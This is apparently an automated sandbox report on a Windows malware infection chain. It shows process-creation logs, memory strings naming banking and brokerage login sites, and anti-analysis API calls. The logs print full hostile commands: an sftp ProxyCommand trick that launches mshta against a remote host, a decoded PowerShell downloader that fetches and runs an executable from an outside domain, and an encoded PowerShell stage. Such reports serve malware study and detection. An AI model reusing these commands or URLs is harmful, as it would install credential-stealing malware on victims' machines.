00000016.00000002.2632970700.0000000001560000.00000004.00000020.00020000.00000000.sdmp, AutoIt3.exe, 00000016.00000002.2633453812.00000000015FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft hyper-v video
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: mshta.exe, 00000006.00000003.2369818572.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2375224024.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2377472191.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2369818572.0000013FF08BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2383661004.0000013FF0959000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2375224024.0000013FF08BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2376885491.0000013FF0959000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2368382219.0000013FF0959000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2371331548.0000013FF08F3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.2383432625.0000013FF08BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2377472191.0000013FF08BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: ssh.exe, 00000002.00000002.2389106299.0000025957628000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2348793872.00000188FD3D8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2560255498.00000228C074E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: sftp.exe, 00000000.00000002.2389792498.0000020280759000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllZZhqP
Source: AutoIt3.exe, 00000018.00000002.2709913823.0000000001B91000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmware
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: InstallUtil.exe, 00000014.00000002.4608596797.000000000151D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: InstallUtil.exe, 00000014.00000002.4612932603.00000000032E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: mshta.exe, 00000006.00000002.2386392180.00000147F3454000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\G
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: InstallUtil.exe, 00000014.00000002.4612932603.0000000003492000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_01263607 LdrInitializeThunk,

19_2_01263607

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00C245D5 BlockInput,

19_2_00C245D5

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00BC5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

19_2_00BC5240

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00BE5CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

19_2_00BE5CAC

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00C2C6D9 LoadLibraryA,GetProcAddress,

19_2_00C2C6D9

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_012692EA mov eax, dword ptr fs:[00000030h]	19_2_012692EA
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_012692EA mov eax, dword ptr fs:[00000030h]	19_2_012692EA
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_012692F1 mov eax, dword ptr fs:[00000030h]	19_2_012692F1
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_012692F1 mov eax, dword ptr fs:[00000030h]	19_2_012692F1
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_01263405 mov eax, dword ptr fs:[00000030h]	19_2_01263405
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_0127525E mov eax, dword ptr fs:[00000030h]	19_2_0127525E

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00C088CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

19_2_00C088CD

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00BDA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		19_2_00BDA385
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Code function: 19_2_00BDA354 SetUnhandledExceptionFilter,		19_2_00BDA354

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded $aJw7="updater.exe";$kNr3=-join((65..90)+(97..122)\|ForEach-Object{[char]$_}\|Get-Random -Count 8)+".bin";$jXq4=Join-Path -Path $env:TEMP -ChildPath(-join((48..57\|ForEach-Object{[char]$_})\|Get-Random -Count 8));New-Item -Path $jXq4 -ItemType Directory -Force\|Out-Null;$pHt6=Join-Path -Path $jXq4 -ChildPath $aJw7;$sWf2=Join-Path -Path $jXq4 -ChildPath $kNr3;$vPb9="https://cndef1.green-pathways.shop/api/uz/7552973650/u.bin";$xQd5="https://cndef1.green-pathways.shop/api/uz/7552973650/nnn.bin";Invoke-WebRequest -Uri $vPb9 -OutFile $pHt6 -UseBasicParsing;Invoke-WebRequest -Uri $xQd5 -OutFile $sWf2 -UseBasicParsing;Start-Process -FilePath $pHt6 -ArgumentList $sWf2;& ([scriptblock]::Create((('e'+'xi'+'t') -join '')))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded $aJw7="updater.exe";$kNr3=-join((65..90)+(97..122)\|ForEach-Object{[char]$_}\|Get-Random -Count 8)+".bin";$jXq4=Join-Path -Path $env:TEMP -ChildPath(-join((48..57\|ForEach-Object{[char]$_})\|Get-Random -Count 8));New-Item -Path $jXq4 -ItemType Directory -Force\|Out-Null;$pHt6=Join-Path -Path $jXq4 -ChildPath $aJw7;$sWf2=Join-Path -Path $jXq4 -ChildPath $kNr3;$vPb9="https://cndef1.green-pathways.shop/api/uz/7552973650/u.bin";$xQd5="https://cndef1.green-pathways.shop/api/uz/7552973650/nnn.bin";Invoke-WebRequest -Uri $vPb9 -OutFile $pHt6 -UseBasicParsing;Invoke-WebRequest -Uri $xQd5 -OutFile $sWf2 -UseBasicParsing;Start-Process -FilePath $pHt6 -ArgumentList $sWf2;& ([scriptblock]::Create((('e'+'xi'+'t') -join '')))			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00C09369 LogonUserW,

19_2_00C09369

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00BC5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

19_2_00BC5240

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00C11AC6 SendInput,keybd_event,

19_2_00C11AC6

Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe

Code function: 19_2_00C151E2 mouse_event,

19_2_00C151E2

Source: C:\Windows\System32\OpenSSH\sftp.exe	Process created: C:\Windows\System32\OpenSSH\ssh.exe "C:\Windows\System32\OpenSSH\ssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings yes" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')" "-oProtocol 2" -s -- . sftp	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://static.klipxuhaq.shop/3VKKE.mp4"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://static.klipxuhaq.shop/3VKKE.mp4	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function wrdZ($UvhG){return -split ($UvhG -replace '..', '0x$& ')};$ERHgk = wrdZ('ECA586FB867E54D080F88AB849BFB94F298E9D4D174F6B1F2F81610C3540C56191E34FB7B2DF87630478E180DACA97337CF338C5F0549579E18CC1A49A1339F9691FAE2EDAAC0D6E2AB4913030D45E7F9C40731A7B0ED45F438D15D573AB5E4816A3D8CA82DAA342D630EDB6E24E85F4D05E0447A728444A18214CD35DB1FD5C4C677BF1EB6DD62A0D4B42A5F996D056A8C58BF2B2ADC007CA0004F35EEDF7DB06CC47C0E8175257375360952646DDCE12F86A389A2FB4F08F04DF71ABBD10CA19394807E45AE262B4CF2BD880666BE9808038992E086339CA69F730462BD5BA268BEA9591B45C3FDDC4B990452C3C5B083B1D8A99DB9D344BE7F259679F7994FBAA4E272654402905FEB107236FDE83FA247F6DFF5EE2DE2FBE984DE8D33A5077EC31D65DAE7AAC344DB18BADD0E59C3DC0A20AA1776387E75ED82F6F21E81D436D435FE7641490C8BB3BE615F9D76B1F8A1323001EC29CB1DC720A20647927291ABFCCFF409B1F94A878B0CDB0AFF68E11DAF8B2CCB95D3B395C11FB1D2F79673936E5F6AF545B019BFDE71CDAC1667709524F9244C6D8B3198F1F28C92F507AF233B70FD15099184E521AA3D1F4EB4613BE4CC9617FD5EE373CB05A7B164A2B6211387C494F7FC2F64FB4B0EEC11B39FFCC4E09EE10E96070192D4E0E2AD737B857A3BA8766EF8B454E4CC9BAE60331184407821C7F5A417DEBB95885CD929FAC64B5913D45E20BA92710C789EA36BC01ED629BAAEEFB8F420E9D966E4669DB7E1EE213C1001073B4FB67BB454BA80B0144D096E4FA221E9AB74FB2FDA2CBBA9C669EB50610B810047A6A75A1E41407350666C1B141836EA4FB3C9588111CE216EB2E451248C7008EA09561E08463428A981B69214151A19DD58483CB4A07DA879953AA3FDBF8EC16A79ACD16FBF54B34E405FCE7D15727908982C71DB4EC3160579745FCBC610756535558573F49618C7606881E9C8F026001D9C1C40FD2462CC1EC3DCF620D160F23D6F789F8CAA4EE9835FD65AA1D0E0278809DE0D85C1295E58C782AAFF7016B75C2FBB65FE1F73E7B038C89BAA57C32930D22EE8C71A06F4A2C738995833A10226ECDFB07ECD5F6DA31617797E009FA791AB33D9189A3A8E44428EFC9D7C6FAC3474FD38038FE910BBB036CFF902B287315F807FAAA06AED95210DDE82DAEAC0A523D871AE53C0EF75EF61B9A57F8F33A81ABD5D297C8FA835397595E7202A8E9007FFC7EDE814D001B798D89293879C641BE0707A91665E5503FECF99138AC09675DB1C070F4CF90193587A5FFC1CEE76401544370EB81704BA787C0CD04C9585C45A98FE309B624E2A8DF58992BFB2E28E05D3E083F40D7259170B815F21C934D9A6B716FB374544D200AC2F51F83FF6015BF31FAF855ACD6F94C4EDCFFE1B1B1E84CD0DCE3476BE438811875890C244AF355F5A99D60D3FE596651A7FCE949EF11B75A3E47270440D77D7293E40B99F248B7EA50AE844851B9FCECC2A42A543848822154E0BDE72E753A37ABBC37D5A523E44824FDECB7EA3DA94AE0BC489AFB57E7FF8B9D330E6B6CF749C38703F35FBB8C7524C1CC772CB6E97F52B9A303F765EEA1CF88781CF03DBAF4E05C5E83D04900C62AE76C9060D2EF02C6358A9C35D3C5CADDA4513FE8720161EE8D258C9D8738089620A44FDD02266B9393340D2A4D6DF53670CE0EAC8ADF596CBD6821F99D9AA7D32C9C1C8CDD6A112CF9684123E95FA54979737993CA2ED54A8E4E7B526955F3B82D4D1180DCF858A68E630366BAE559198412C920E3DF514DC1275386D42B0CF7D7800F9A9C56DF30AC55BB715221A65AC5F1B6C047475AF5D327C3E5F8421DC5507C9898E1CA30BC70D6ED81C7FBE88DC6473A1B361F63E277C1B83D0BA47D9D3A44BB1ED147D9E3D1391B4E0C9728E31F4600C8F8CDC7EA1BB362F215217B57B713C7F2C9B60FFBB1ABF	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -EncodedCommand JABhAEoAdwA3AD0AIgB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgA7ACQAawBOAHIAMwA9AC0AagBvAGkAbgAoACgANgA1AC4ALgA5ADAAKQArACgAOQA3AC4ALgAxADIAMgApAHwARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0AHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKwAiAC4AYgBpAG4AIgA7ACQAagBYAHEANAA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAB7AFsAYwBoAGEAcgBdACQAXwB9ACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKQA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAagBYAHEANAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAcABIAHQANgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAYQBKAHcANwA7ACQAcwBXAGYAMgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAawBOAHIAMwA7ACQAdgBQAGIAOQA9ACIAaAB0AHQAcABzADoALwAvAGMAbgBkAGUAZgAxAC4AZwByAGUAZQBuAC0AcABhAHQAaAB3AGEAeQBzAC4AcwBoAG8AcAAvAGEAcABpAC8AdQB6AC8ANwA1ADUAMgA5ADcAMwA2ADUAMAAvAHUALgBiAGkAbgAiADsAJAB4AFEAZAA1AD0AIgBoAHQAdABwAHMAOgAvAC8AYwBuAGQAZQBmADEALgBnAHIAZQBlAG4ALQBwAGEAdABoAHcAYQB5AHMALgBzAGgAbwBwAC8AYQBwAGkALwB1AHoALwA3ADUANQAyADkANwAzADYANQAwAC8AbgBuAG4ALgBiAGkAbgAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdgBQAGIAOQAgAC0ATwB1AHQARgBpAGwAZQAgACQAcABIAHQANgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB4AFEAZAA1ACAALQBPAHUAdABGAGkAbABlACAAJABzAFcAZgAyACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABIAHQANgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAHMAVwBmADIAOwAmACAAKABbAHMAYwByAGkAcAB0AGIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgAKAAnAGUAJwArACcAeABpACcAKwAnAHQAJwApACAALQBqAG8AaQBuACAAJwAnACkAKQApAA==	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\ref095vq842r70_3rd_party_authorisation_form.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\48216953\updater.exe "C:\Users\user\AppData\Local\Temp\48216953\updater.exe" C:\Users\user\AppData\Local\Temp\48216953\OZxvrKbf.bin	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\ehcfdbh\AutoIt3.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\ehcfdbh\AutoIt3.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Source: unknown	Process created: C:\Windows\System32\OpenSSH\sftp.exe "c:\windows\system32\openssh\sftp.exe" -o proxycommand="powershell powershell -command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]vkke]]]].mp4]]' -replace ']')" .
Source: C:\Windows\System32\OpenSSH\sftp.exe	Process created: C:\Windows\System32\OpenSSH\ssh.exe "c:\windows\system32\openssh\ssh.exe" "-oforwardx11 no" "-oforwardagent no" "-opermitlocalcommand no" "-oclearallforwardings yes" -o "proxycommand=powershell powershell -command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]vkke]]]].mp4]]' -replace ']')" "-oprotocol 2" -s -- . sftp
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function wrdz($uvhg){return -split ($uvhg -replace '..', '0x$& ')};$erhgk = wrdz('eca586fb867e54d080f88ab849bfb94f298e9d4d174f6b1f2f81610c3540c56191e34fb7b2df87630478e180daca97337cf338c5f0549579e18cc1a49a1339f9691fae2edaac0d6e2ab4913030d45e7f9c40731a7b0ed45f438d15d573ab5e4816a3d8ca82daa342d630edb6e24e85f4d05e0447a728444a18214cd35db1fd5c4c677bf1eb6dd62a0d4b42a5f996d056a8c58bf2b2adc007ca0004f35eedf7db06cc47c0e8175257375360952646ddce12f86a389a2fb4f08f04df71abbd10ca19394807e45ae262b4cf2bd880666be9808038992e086339ca69f730462bd5ba268bea9591b45c3fddc4b990452c3c5b083b1d8a99db9d344be7f259679f7994fbaa4e272654402905feb107236fde83fa247f6dff5ee2de2fbe984de8d33a5077ec31d65dae7aac344db18badd0e59c3dc0a20aa1776387e75ed82f6f21e81d436d435fe7641490c8bb3be615f9d76b1f8a1323001ec29cb1dc720a20647927291abfccff409b1f94a878b0cdb0aff68e11daf8b2ccb95d3b395c11fb1d2f79673936e5f6af545b019bfde71cdac1667709524f9244c6d8b3198f1f28c92f507af233b70fd15099184e521aa3d1f4eb4613be4cc9617fd5ee373cb05a7b164a2b6211387c494f7fc2f64fb4b0eec11b39ffcc4e09ee10e96070192d4e0e2ad737b857a3ba8766ef8b454e4cc9bae60331184407821c7f5a417debb95885cd929fac64b5913d45e20ba92710c789ea36bc01ed629baaeefb8f420e9d966e4669db7e1ee213c1001073b4fb67bb454ba80b0144d096e4fa221e9ab74fb2fda2cbba9c669eb50610b810047a6a75a1e41407350666c1b141836ea4fb3c9588111ce216eb2e451248c7008ea09561e08463428a981b69214151a19dd58483cb4a07da879953aa3fdbf8ec16a79acd16fbf54b34e405fce7d15727908982c71db4ec3160579745fcbc610756535558573f49618c7606881e9c8f026001d9c1c40fd2462cc1ec3dcf620d160f23d6f789f8caa4ee9835fd65aa1d0e0278809de0d85c1295e58c782aaff7016b75c2fbb65fe1f73e7b038c89baa57c32930d22ee8c71a06f4a2c738995833a10226ecdfb07ecd5f6da31617797e009fa791ab33d9189a3a8e44428efc9d7c6fac3474fd38038fe910bbb036cff902b287315f807faaa06aed95210dde82daeac0a523d871ae53c0ef75ef61b9a57f8f33a81abd5d297c8fa835397595e7202a8e9007ffc7ede814d001b798d89293879c641be0707a91665e5503fecf99138ac09675db1c070f4cf90193587a5ffc1cee76401544370eb81704ba787c0cd04c9585c45a98fe309b624e2a8df58992bfb2e28e05d3e083f40d7259170b815f21c934d9a6b716fb374544d200ac2f51f83ff6015bf31faf855acd6f94c4edcffe1b1b1e84cd0dce3476be438811875890c244af355f5a99d60d3fe596651a7fce949ef11b75a3e47270440d77d7293e40b99f248b7ea50ae844851b9fcecc2a42a543848822154e0bde72e753a37abbc37d5a523e44824fdecb7ea3da94ae0bc489afb57e7ff8b9d330e6b6cf749c38703f35fbb8c7524c1cc772cb6e97f52b9a303f765eea1cf88781cf03dbaf4e05c5e83d04900c62ae76c9060d2ef02c6358a9c35d3c5cadda4513fe8720161ee8d258c9d8738089620a44fdd02266b9393340d2a4d6df53670ce0eac8adf596cbd6821f99d9aa7d32c9c1c8cdd6a112cf9684123e95fa54979737993ca2ed54a8e4e7b526955f3b82d4d1180dcf858a68e630366bae559198412c920e3df514dc1275386d42b0cf7d7800f9a9c56df30ac55bb715221a65ac5f1b6c047475af5d327c3e5f8421dc5507c9898e1ca30bc70d6ed81c7fbe88dc6473a1b361f63e277c1b83d0ba47d9d3a44bb1ed147d9e3d1391b4e0c9728e31f4600c8f8cdc7ea1bb362f215217b57b713c7f2c9b60ffbb1abf
